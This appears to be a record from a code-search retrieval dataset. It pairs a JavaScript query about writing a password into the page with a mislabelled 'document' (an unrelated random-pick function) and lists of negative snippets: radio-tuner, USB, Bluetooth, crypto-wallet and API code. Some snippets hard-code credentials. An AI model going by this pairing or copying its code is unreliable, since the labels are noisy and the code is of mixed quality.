appropriate action according to the current state.\\n */\\n function processState() {\\n if (state.state == STATE.STARTING) {\\n if (state.substate == SUBSTATE.USB) {\\n state = new State(STATE.STARTING, SUBSTATE.TUNER, state.param);\\n chrome.usb.findDevices(TUNER,\\n function(conns) {\\n if (conns.length == 0) {\\n state = new State(STATE.OFF);\\n throwError('USB tuner device not found. The Radio Receiver ' +\\n 'app needs an RTL2832U-based DVB-T dongle ' +\\n '(with an R820T tuner chip) to work.');\\n } else {\\n connection = conns[0];\\n processState();\\n }\\n });\\n } else if (state.substate == SUBSTATE.TUNER) {\\n state = new State(STATE.STARTING, SUBSTATE.ALL_ON, state.param);\\n tuner = new RTL2832U(connection);\\n tuner.setOnError(throwError);\\n tuner.open(function() {\\n tuner.setSampleRate(SAMPLE_RATE, function(rate) {\\n tuner.setCenterFrequency(frequency, function() {\\n processState();\\n })})});\\n } else if (state.substate == SUBSTATE.ALL_ON) {\\n var cb = state.param;\\n state = new State(STATE.PLAYING);\\n tuner.resetBuffer(function() {\\n cb && cb();\\n ui && ui.update();\\n startPipeline();\\n });\\n }\\n } else if (state.state == STATE.PLAYING) {\\n ++requestingBlocks;\\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\\n --requestingBlocks;\\n if (state.state == STATE.PLAYING) {\\n if (playingBlocks <= 2) {\\n ++playingBlocks;\\n decoder.postMessage([data, stereoEnabled]);\\n }\\n }\\n processState();\\n });\\n } else if (state.state == STATE.CHG_FREQ) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n frequency = state.param;\\n ui && ui.update();\\n tuner.setCenterFrequency(frequency, function() {\\n tuner.resetBuffer(function() {\\n state = new State(STATE.PLAYING);\\n startPipeline();\\n })});\\n } else if (state.state == STATE.SCANNING) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n var param = state.param;\\n if (state.substate == SUBSTATE.TUNING) {\\n frequency += param.step;\\n if (frequency > param.max) {\\n frequency = param.min;\\n } else if (frequency < param.min) {\\n frequency = param.max;\\n }\\n ui && ui.update();\\n state = new State(STATE.SCANNING, SUBSTATE.PLAYING, param);\\n tuner.setCenterFrequency(frequency, function() {\\n tuner.resetBuffer(processState);\\n });\\n } else if (state.substate == SUBSTATE.PLAYING) {\\n if (frequency == param.start) {\\n state = new State(STATE.PLAYING);\\n startPipeline();\\n return;\\n }\\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\\n var scanData = {\\n 'scanning': true,\\n 'frequency': frequency\\n };\\n ++requestingBlocks;\\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\\n --requestingBlocks;\\n if (state.state == STATE.SCANNING) {\\n ++playingBlocks;\\n decoder.postMessage([data, stereoEnabled, scanData]);\\n }\\n processState();\\n });\\n }\\n } else if (state.state == STATE.STOPPING) {\\n if (state.substate == SUBSTATE.ALL_ON) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n state = new State(STATE.STOPPING, SUBSTATE.TUNER, state.param);\\n ui && ui.update();\\n tuner.close(function() {\\n processState();\\n });\\n } else if (state.substate == SUBSTATE.TUNER) {\\n state = new State(STATE.STOPPING, SUBSTATE.USB, state.param);\\n chrome.usb.closeDevice(connection, function() {\\n processState();\\n });\\n } else if (state.substate == SUBSTATE.USB) {\\n var cb = state.param;\\n state = new State(STATE.OFF);\\n cb && cb();\\n ui && ui.update();\\n }\\n }\\n }\\n\\n /**\\n * Receives the sound from the demodulator and plays it.\\n * @param {Event} msg The data sent by the demodulator.\\n */\\n decoder.onmessage = function(msg) {\\n --playingBlocks;\\n var newStereo = !!msg.data[1];\\n if (newStereo != stereo) {\\n stereo = newStereo;\\n ui && ui.update();\\n }\\n player.play(msg.data[0], msg.data[1]);\\n if (state.state == STATE.SCANNING && msg.data[2] && msg.data[2]['scanning']) {\\n if (overload(msg.data[0]) < 0.075) {\\n setFrequency(msg.data[2].frequency);\\n }\\n }\\n };\\n\\n /**\\n * Calculates the proportion of samples above maximum amplitude.\\n * @param {Samples} samples The audio stream.\\n * @param {number} The proportion of samples above the maximum amplitude.\\n */\\n function overload(samples) {\\n var count = 0;\\n for (var i = 0; i < samples.data.length; ++i) {\\n if (samples.data[i] > 1 || samples.data[i] < -1) {\\n ++count;\\n }\\n }\\n return count / samples.data.length;\\n }\\n\\n /**\\n * Constructs a state object.\\n * @param {number} state The state.\\n * @param {number=} opt_substate The sub-state.\\n * @param {*=} opt_param The state's parameter.\\n */\\n function State(state, opt_substate, opt_param) {\\n return {\\n state: state,\\n substate: opt_substate,\\n param: opt_param\\n };\\n }\\n\\n return {\\n start: start,\\n stop: stop,\\n setFrequency: setFrequency,\\n getFrequency: getFrequency,\\n scan: scan,\\n isScanning: isScanning,\\n isPlaying: isPlaying,\\n isStopping: isStopping,\\n isStereo: isStereo,\\n enableStereo: enableStereo,\\n isStereoEnabled: isStereoEnabled,\\n setInterface: setInterface,\\n setOnError: setOnError\\n };\\n}\",\n \"function FindAVRs()\\n{\\n var devs = usb.getDeviceList();\\n for (var i=0; i {\\n console.log('--writeLoginSetting successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginSetting failed ',error);\\n });\\n }\",\n \"function makeRequest(){\\n var mediaRequest = {\\n responseType: http$RESPONSETYPE_BINARY,\\n parser: CadmiumMediaStream$_parseHeaderBoxes,\\n url: _self.downloadUrls[cdn.id],\\n cdn: cdn,\\n track: track,\\n stream: _self,\\n offset: 0,\\n length: _actualHeaderSize || _estimateHeaderSize(contentProfile),\\n diagCaption: type + '-' + bitrate + '-hdr',\\n cacheBuster: true\\n };\\n playback.httpPlayback.download(mediaRequest, processResponse);\\n }\",\n \"async sendBinaryRequest(path, params) {\\n if (LibraryUtils.getLogLevel() >= 2) console.log(\\\"sendBinaryRequest(\\\" + path + \\\", \\\" + JSON.stringify(params) + \\\")\\\");\\n \\n // load wasm module\\n await LibraryUtils.loadKeysModule();\\n \\n // serialize params\\n let paramsBin = MoneroUtils.jsonToBinary(params);\\n \\n try {\\n \\n // send http request\\n let resp = await HttpClient.request({\\n method: \\\"POST\\\",\\n uri: this.getUri() + '/' + path,\\n username: this.getUsername(),\\n password: this.getPassword(),\\n body: paramsBin,\\n rejectUnauthorized: this.config.rejectUnauthorized,\\n requestApi: GenUtils.isFirefox() ? \\\"xhr\\\" : \\\"fetch\\\"\\n });\\n \\n // validate response\\n MoneroRpcConnection.validateHttpResponse(resp);\\n \\n // process response\\n resp = resp.body;\\n if (!(resp instanceof Uint8Array)) {\\n console.error(\\\"resp is not uint8array\\\");\\n console.error(resp);\\n }\\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\\n return resp;\\n } catch (err) {\\n if (err instanceof MoneroRpcError) throw err;\\n else throw new MoneroRpcError(err, undefined, path, params);\\n }\\n }\",\n \"async getData() {\\n\\t\\t//first we have to find out all the gateways we have to query\\n\\t\\tvar that = this;\\n\\t\\tlet web3 = new Web3(new Web3.providers.HttpProvider(\\\"https://rinkeby.infura.io\\\"));\\n\\t\\tlet mphr = new web3.eth.Contract(JSON.parse(mphrABI));\\n\\t\\tmphr.options.address = this.props.profile.mphr;\\n\\n\\t\\tmphr.methods.returnGateways().call({}, function (error, result) {\\n\\t\\t\\tif(error) { throw (error); }\\n\\t\\t\\tfor(var i = 0; i < result.length; i++) {\\n\\t\\t\\t\\tlet hex = result[i].toString();//force conversion\\n\\t\\t\\t\\tlet gateway = '';\\n\\t\\t\\t\\tfor (var j = 0; (j < hex.length && hex.substr(j, 2) !== '00'); j += 2) {\\n\\t\\t\\t\\t\\tgateway += String.fromCharCode(parseInt(hex.substr(j, 2), 16));\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tthat.request(gateway.slice(1), that.props.profile.id, \\\"all\\\");\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\",\n \"requestGetDeviceName() {\\n if (!this.connected) { return; }\\n this.writeMessage(MESSAGE_TYPE_GET_DEVICE_NAME, new Uint8Array(0));\\n }\",\n \"async WebGetBinaryStructures(url) {\\n var r = await this._BaseWebRequest(url, \\\"arraybuffer\\\", \\\"GET\\\", null);\\n var decoder = new DeltaBinaryStructuresDecoder(new DataView(r));\\n decoder.Decode();\\n return decoder;\\n }\",\n \"async function findDevice() {\\n const device = await liff.bluetooth.requestDevice().catch(e => {\\n flashSDKError(e);\\n onScreenLog(`ERROR on requestDevice: ${e}`);\\n throw e;\\n });\\n // onScreenLog('detect: ' + device.id);\\n\\n try {\\n if (!deviceUUIDSet.has(device.id)) {\\n deviceUUIDSet.add(device.id);\\n addDeviceToList(device);\\n } else {\\n // TODO: Maybe this is unofficial hack > device.rssi\\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\\n }\\n\\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\\n } catch (e) {\\n onScreenLog(`ERROR on findDevice: ${e}\\\\n${e.stack}`);\\n }\\n}\",\n \"async function upload( cmd_array, fastspeed = true){\\n let fullflag = false\\n \\n if(cmd_array.length>1){\\n fullflag = Boolean(parseInt(cmd_array[1]))\\n }\\n\\n if(fastspeed){\\n await blxConnectionFast()\\n if(blxErrMsg) return\\n }\\n\\n for(;;){ // Unlock Device (locked in FAST mode)\\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\\n if (blxErrMsg) break\\n\\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\\n }\\n \\n await calcMem(true) // With adjust\\n if(blxErrMsg) break\\n\\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\\n\\n if(blxUserCB) {\\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \\n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \\n }\\n \\n await updateFile('data.edt', fullflag)\\n if(blxErrMsg) break\\n\\n await updateFile('data.edt.old', fullflag)\\n //if(blxErrMsg) break // not needed\\n\\n break \\n } // for\\n\\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\\n await blxConnectionSlow()\\n }\\n }\",\n \"async function findDevice() {\\n const device = await liff.bluetooth.requestDevice().catch(e => {\\n flashSDKError(e);\\n onScreenLog(`ERROR on requestDevice: ${e}`);\\n throw e;\\n });\\n // onScreenLog('detect: ' + device.id);\\n\\n try {\\n if (!deviceUUIDSet.has(device.id)) {\\n deviceUUIDSet.add(device.id);\\n addDeviceToList(device);\\n } else {\\n // TODO: Maybe this is unofficial hack > device.rssi\\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\\n }\\n\\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\\n } catch (e) {\\n onScreenLog(`ERROR on findDevice: ${e}\\\\n${e.stack}`);\\n }\\n}\",\n \"function trackerRequest() {\\n const buff = Buffer.alloc(16);\\n buff.writeUInt32BE(0x417, 0);\\n buff.writeUInt32BE(0x27101980, 4);\\n buff.writeUInt32BE(0, 8);\\n crypto.randomBytes(4).copy(buff, 12);\\n return (buff);\\n}\",\n \"function calculateChallengeResponse(challenge, adminkey) {\\n var objAlg =\\n Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider\\n .openAlgorithm(\\n Windows.Security.Cryptography.Core.SymmetricAlgorithmNames\\n .tripleDesCbc);\\n\\n var symetricKey = objAlg.createSymmetricKey(adminkey);\\n var buffEncrypted =\\n Windows.Security.Cryptography.Core.CryptographicEngine.encrypt(\\n symetricKey,\\n challenge,\\n null);\\n\\n return buffEncrypted;\\n }\",\n \"function getConvolver () {\\n const ajax = new window.XMLHttpRequest()\\n\\n ajax.open('GET', convolverUrl, true)\\n\\n ajax.responseType = 'arraybuffer'\\n\\n ajax.onload = function () {\\n const audioData = ajax.response\\n\\n audioCtx.decodeAudioData(audioData, function (buffer) {\\n soundSource = audioCtx.createBufferSource()\\n convolver.buffer = buffer\\n }, function (e) { console.log('Error with decoding audio data' + e.err) })\\n\\n soundSource.connect(audioCtx.destination)\\n soundSource.loop = true\\n soundSource.start()\\n }\\n\\n ajax.send()\\n }\",\n \"function getdevicelist (dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-12';\\n webphone_api.plhandler.GetDeviceList(dev, callback);\\n }\\n}\",\n \"function Decoder(bytes, port) {\\n // Decode an uplink message from a buffer\\n // (array) of bytes to an object of fields.\\n var decoded = {};\\n\\n if (! (port === 3))\\n return null;\\n\\n // see catena-message-port3-format.md\\n // i is used as the index into the message. Start with the flag byte.\\n // note that there's no discriminator.\\n // test vectors are also available there.\\n var i = 0;\\n // fetch the bitmap.\\n var flags = bytes[i++];\\n\\n if (flags & 0x1) {\\n // set Vraw to a uint16, and increment pointer\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n // interpret uint16 as an int16 instead.\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n // scale and save in result.\\n decoded.Vbat = Vraw / 4096.0;\\n }\\n\\n if (flags & 0x2) {\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n decoded.VDD = Vraw / 4096.0;\\n }\\n\\n if (flags & 0x4) {\\n var iBoot = bytes[i];\\n i += 1;\\n decoded.boot = iBoot;\\n }\\n\\n if (flags & 0x8) {\\n // we have temp, pressure, RH\\n var tRaw = (bytes[i] << 8) + bytes[i + 1];\\n if (tRaw & 0x8000)\\n tRaw = -0x10000 + tRaw;\\n i += 2;\\n var rhRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n\\n decoded.t = tRaw / 256;\\n decoded.rh = rhRaw / 65535.0 * 100;\\n decoded.tDew = dewpoint(decoded.t, decoded.rh);\\n decoded.tHeatIndexC = CalculateHeatIndexCelsius(decoded.t, decoded.rh);\\n }\\n\\n if (flags & 0x10) {\\n // we have light irradiance info\\n var irradiance = {};\\n decoded.irradiance = irradiance;\\n\\n var lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.IR = lightRaw;\\n\\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.White = lightRaw;\\n\\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.UV = lightRaw;\\n }\\n\\n if (flags & 0x20) {\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n decoded.Vbus = Vraw / 4096.0;\\n }\\n\\n // at this point, decoded has the real values.\\n return decoded;\\n}\",\n \"function callAPI(req,res,handleResponse){\\n var host = 'www.blueworkslive.com';\\n var username = 'xxxx';\\n var password = 'yyyy';\\n var path = '/api/Auth';\\n var headers = {\\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\\n };\\n var options = {\\n host: host,\\n path: path,\\n method: 'GET',\\n headers: headers\\n };\\n var bwlResData = {};\\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\\n var bwlRequest = https.request(options, function(bwlResponse) {\\n\\tconsole.log(\\\"BwlApiCall: Response status=\\\"+bwlResponse.statusCode);\\n\\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\\n\\tbwlResData.headers = bwlResponse.headers;\\n\\tvar bufferData = [];\\n\\tbwlResponse.on('data', function(data) {\\n\\t bufferData.push(data);\\n console.info('BwlApiCall: Response data received');\\n\\t});\\n\\tbwlResponse.on('end', function() {\\n console.info('BwlApiCall: completed, calling callback');\\n\\t bwlResData.data = Buffer.concat(bufferData);\\n\\t handleResponse(req, res, bwlResData);\\n });\\n });\\n/* if ((reqData.method == \\\"post\\\" || reqData.method == \\\"put\\\") && reqData.senddata) {\\n console.log(reqData.method+' sending data: '+reqData.senddata);\\n bwlRequest.write(reqData.senddata);\\n } */\\n bwlRequest.end();\\n bwlRequest.on('error', function(e){\\n console.error('BwlApiCall: REQUEST-ERROR '+e);\\n });\\n}\",\n \"retrieveDevice(req, res) {\\n res.json({ message: \\\"Device\\\", data: req.device });\\n }\",\n \"getDeviceDescription(deviceId, callback, retryCounter) {\\n let ip;\\n if (!retryCounter) retryCounter = 0;\\n if (retryCounter > 2) {\\n return callback && callback(new Error('timeout on response'));\\n }\\n if (deviceId.includes('#')) {\\n if (!this.knownDevices[deviceId] || !this.knownDevices[deviceId].ip) {\\n return callback && callback('device unknown');\\n }\\n ip = this.knownDevices[deviceId].ip;\\n }\\n else ip = deviceId;\\n this.logger && this.logger('CoAP device description request for ' + deviceId + ' to ' + ip + '(' + retryCounter + ')');\\n let retryTimeout = null;\\n try {\\n const req = coap.request({\\n host: ip,\\n //port: 5683,\\n method: 'GET',\\n pathname: '/cit/d'\\n });\\n\\n retryTimeout = setTimeout(() => {\\n this.getDeviceDescription(deviceId, callback, ++retryCounter);\\n callback = null;\\n }, 2000);\\n req.on('response', (res) => {\\n clearTimeout(retryTimeout);\\n const options = {};\\n res.options.forEach((opt) => {\\n if (!options[opt.name]) {\\n options[opt.name] = opt.value;\\n }\\n else {\\n options[opt.name] += '/' + opt.value;\\n }\\n });\\n this.logger && this.logger('CoAP response: ' + JSON.stringify(options));\\n\\n const deviceId = this.initDevice(options, res.rsinfo);\\n if (!deviceId) return;\\n\\n let payload = res.payload.toString();\\n if (!payload.length) {\\n this.logger && this.logger('CoAP payload empty: ' + JSON.stringify(options));\\n return;\\n }\\n try {\\n\\n if (payload.indexOf('`') !== -1) {\\n this.logger && this.logger(payload);\\n payload = payload.substr(0, payload.lastIndexOf('`'));\\n this.logger && this.logger('CoAP payload cutted: ' + payload.indexOf('`'));\\n }\\n\\n payload = JSON.parse(payload);\\n }\\n catch (err) {\\n this.emit('error', err + ' (res) for JSON ' + payload);\\n return;\\n }\\n this.logger && this.logger('Device description received: ' + JSON.stringify(options) + ' / ' + JSON.stringify(payload));\\n if (req.rsinfo) {\\n this.knownDevices[deviceId].ip = req.rsinfo.address;\\n this.knownDevices[deviceId].port = req.rsinfo.port;\\n }\\n this.knownDevices[deviceId].description = payload;\\n callback && callback(null, deviceId, payload, this.knownDevices[deviceId].ip);\\n callback = null;\\n });\\n req.on('error', (error) => {\\n // console.log(error);\\n this.emit('error', error);\\n });\\n req.end();\\n }\\n catch (e) {\\n if (retryTimeout) clearTimeout(retryTimeout);\\n callback && callback(e);\\n callback = null;\\n }\\n }\",\n \"buildModemInterface() {\\n return new Promise((resolve, reject) => {\\n this.log(`starting modem interface on port ${this.uri} @ ${this.baud_rate}`);\\n let serial_port = new SerialPort(this.uri, {\\n baudRate: this.baud_rate\\n });\\n serial_port.on('open', () => {\\n resolve(serial_port);\\n });\\n serial_port.on('error', (err) => {\\n reject(err);\\n });\\n serial_port.on('data', (data) => {\\n // buffer the received data\\n this.response_buffer += data.toString();\\n // check if the response code exists in our buffered data\\n this.response_codes.forEach((code) => {\\n if (this.response_buffer.toUpperCase().indexOf(code) > -1) {\\n this.handleModemResponse({\\n data: this.response_buffer.replace(code, '').trim(), \\n code: code\\n });\\n this.response_buffer = '';\\n }\\n })\\n });\\n return serial_port;\\n });\\n }\",\n \"function send(data) {\\n\\n if(MODE == MODES.TEST) {\\n ws.send(data);\\n } else if(MODE == MODES.BLUETOOH) {\\n\\n var data = new Uint8Array(1);\\n data[0] = data;\\n\\n ble.write(id, serviceId, serviceName, data.buffer, function() {\\n console.log(\\\"ble -> sendSucess\\\");\\n }, function(err) {\\n console.log(\\\"ble -> sendFailure : \\\" + JSON.stringify(err));\\n });\\n\\n }\\n\\n}\",\n \"sendMakeBetShan2(_chipbet) {\\n cc.NGWlog(\\\"Vua dat cuoc =\\\" + _chipbet);\\n var data = {\\n evt: \\\"bm\\\",\\n M: _chipbet\\n };\\n this.sendDataGame(JSON.stringify(data));\\n }\",\n \"async function requestBlockchainInfo() {\\n return instance\\n .get(\\\"/tuichain/get_info/\\\")\\n .then((response) => {\\n return response.data;\\n })\\n .catch((error) => {\\n console.log(error);\\n return false;\\n });\\n}\",\n \"async function main(){\\n\\nvar password=\\\"pengshu\\\";\\n\\nvar oneBranchAccount=await web3.eth.personal.newAccount(password);\\nconsole.log(\\\"one branch\\\",oneBranchAccount);\\n\\n\\nlet unlock;\\n\\ntry{\\n unlock=await web3.eth.personal.unlockAccount(oneBranchAccount,password);}\\ncatch(e){}\\n console.log(\\\"one branch unlock\\\",unlock);\\n \\n\\nvar message=\\\"I am the flash\\\";\\nlet signature;\\ntry{\\n signature=await web3.eth.sign(message,oneBranchAccount);\\n}catch(e){}\\nconsole.log(\\\"signature one branch:\\\",signature);\\n\\nlet verfication;\\ntry {\\n verification= await web3.eth.personal.ecRecover(message,signature);\\n}catch(e){console.log(e);}\\nconsole.log(verfication);\\n}\",\n \"function expressGETBuffer(){\\r\\n GenerateRandom(currentBuffer);\\r\\n app.get('/api/buffer',(req,res) =>{\\r\\n res.json({\\r\\n arduino: currentBufferArduino,\\r\\n dummy: currentBuffer\\r\\n });\\r\\n });\\r\\n //console.log(\\\"2a. GET to Server\\\");\\r\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.62603414","0.61711174","0.5881223","0.564345","0.56137395","0.55299354","0.55139816","0.54276687","0.5425389","0.54120064","0.5388707","0.5372538","0.5353609","0.52452624","0.5164182","0.5159718","0.51450515","0.5111828","0.50875866","0.50299066","0.5017245","0.5015613","0.5009962","0.49845383","0.4967775","0.49572152","0.49328268","0.490959","0.49065247","0.49061036","0.4898304","0.48861286","0.48633265","0.4846188","0.48459402","0.4840834","0.48395976","0.4835315","0.48112178","0.48053154","0.48034617","0.48031434","0.47910246","0.47796413","0.47674897","0.47664085","0.47617304","0.47569618","0.47550553","0.4753095","0.4738177","0.47369456","0.47227266","0.4701544","0.46987933","0.46952343","0.46905077","0.4672594","0.4667461","0.4667461","0.4667461","0.4667461","0.46638697","0.46624896","0.4659649","0.46527052","0.46497568","0.46369988","0.46349","0.46331975","0.46291536","0.462668","0.462538","0.46245086","0.46235523","0.4622976","0.4619396","0.46140537","0.46073154","0.46071523","0.46060756","0.46002516","0.45992893","0.45923156","0.45920658","0.45915735","0.45895246","0.45890766","0.45868373","0.45754632","0.45679644","0.45636854","0.4562336","0.4561162","0.45568252","0.45534855","0.45517433","0.45452705","0.45442167","0.45425543"],"string":"[\n \"0.62603414\",\n \"0.61711174\",\n \"0.5881223\",\n \"0.564345\",\n \"0.56137395\",\n \"0.55299354\",\n \"0.55139816\",\n \"0.54276687\",\n \"0.5425389\",\n \"0.54120064\",\n \"0.5388707\",\n \"0.5372538\",\n \"0.5353609\",\n \"0.52452624\",\n \"0.5164182\",\n \"0.5159718\",\n \"0.51450515\",\n \"0.5111828\",\n \"0.50875866\",\n \"0.50299066\",\n \"0.5017245\",\n \"0.5015613\",\n \"0.5009962\",\n \"0.49845383\",\n \"0.4967775\",\n \"0.49572152\",\n \"0.49328268\",\n \"0.490959\",\n \"0.49065247\",\n \"0.49061036\",\n \"0.4898304\",\n \"0.48861286\",\n \"0.48633265\",\n \"0.4846188\",\n \"0.48459402\",\n \"0.4840834\",\n \"0.48395976\",\n \"0.4835315\",\n \"0.48112178\",\n \"0.48053154\",\n \"0.48034617\",\n \"0.48031434\",\n \"0.47910246\",\n \"0.47796413\",\n \"0.47674897\",\n \"0.47664085\",\n \"0.47617304\",\n \"0.47569618\",\n \"0.47550553\",\n \"0.4753095\",\n \"0.4738177\",\n \"0.47369456\",\n \"0.47227266\",\n \"0.4701544\",\n \"0.46987933\",\n \"0.46952343\",\n \"0.46905077\",\n \"0.4672594\",\n \"0.4667461\",\n \"0.4667461\",\n \"0.4667461\",\n \"0.4667461\",\n \"0.46638697\",\n \"0.46624896\",\n \"0.4659649\",\n \"0.46527052\",\n \"0.46497568\",\n \"0.46369988\",\n \"0.46349\",\n \"0.46331975\",\n \"0.46291536\",\n \"0.462668\",\n \"0.462538\",\n \"0.46245086\",\n \"0.46235523\",\n \"0.4622976\",\n \"0.4619396\",\n \"0.46140537\",\n \"0.46073154\",\n \"0.46071523\",\n \"0.46060756\",\n \"0.46002516\",\n \"0.45992893\",\n \"0.45923156\",\n \"0.45920658\",\n \"0.45915735\",\n \"0.45895246\",\n \"0.45890766\",\n \"0.45868373\",\n \"0.45754632\",\n \"0.45679644\",\n \"0.45636854\",\n \"0.4562336\",\n \"0.4561162\",\n \"0.45568252\",\n \"0.45534855\",\n \"0.45517433\",\n \"0.45452705\",\n \"0.45442167\",\n \"0.45425543\"\n]"},"document_score":{"kind":"string","value":"0.46860376"},"document_rank":{"kind":"string","value":"57"}}},{"rowIdx":18,"cells":{"query":{"kind":"string","value":"document.getElementById(password) . innerHTML = text;"},"document":{"kind":"string","value":"function getRandome (max) {\n return max[Math.floor(Math.random() * max.length )]; \n \n console.log(Math.random());\n }"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function WritePassword(passwordText) {\n document.getElementById(\"password\").textContent = passwordText;\n\n}","function writePassword() {\n document.querySelector(\"#password\").innerHTML = password;\n\n }","function userInput(password) {\n document.getElementById(\"password\").textContent = password;\n}","function UserInput(passwordText) {\n document.getElementById(\"password\").textContent = passwordText;\n}","function showPassword(displayPassword) {\n document.getElementById(\"password\").textContent = displayPassword;\n}","function writePassword(pass) {\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = pass;\n\n}","function writePassword() {\n generatePassword()\n var passwordText = document.querySelector(\"#password\");\n passwordText.textContent = password\n\n}","function writePassword(password) {\n\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function UserInput(pd) {\n document.getElementById(\"password\").textContent = pd;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n\n}","function writePassword() {\n\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");//id selector = html line 22 \n\n passwordText.value = password;\n\n \n}","function passwordWriter() {\n let passwordText = document.querySelector(\"#password\");\n passwordText.value = password; \n}","function writePassword() {\nvar password = generatePassword();\nvar passwordText = document.querySelector(\"#password\");\n\npasswordText.value = password;\n}","function UserInput(output) {\n document.getElementById(\"password\").passwordText = output;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.innerHTML = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n document.getElementById(\"password\").innerHTML = password;\n}","function writePassword(){\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\"); \n \n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = displayPassword;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n\n passwordText.value = password;\n \n\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password \n}","function writePassword() {\n var password = generatePasswordContent();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() { \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() { \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n }","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = newGeneratedPassword; \n\n}","function writePassword() {\n var password = generatePass();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePass();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n passwordText.value = password;\n\n}","function writePassword(password) {\n var passwordText = 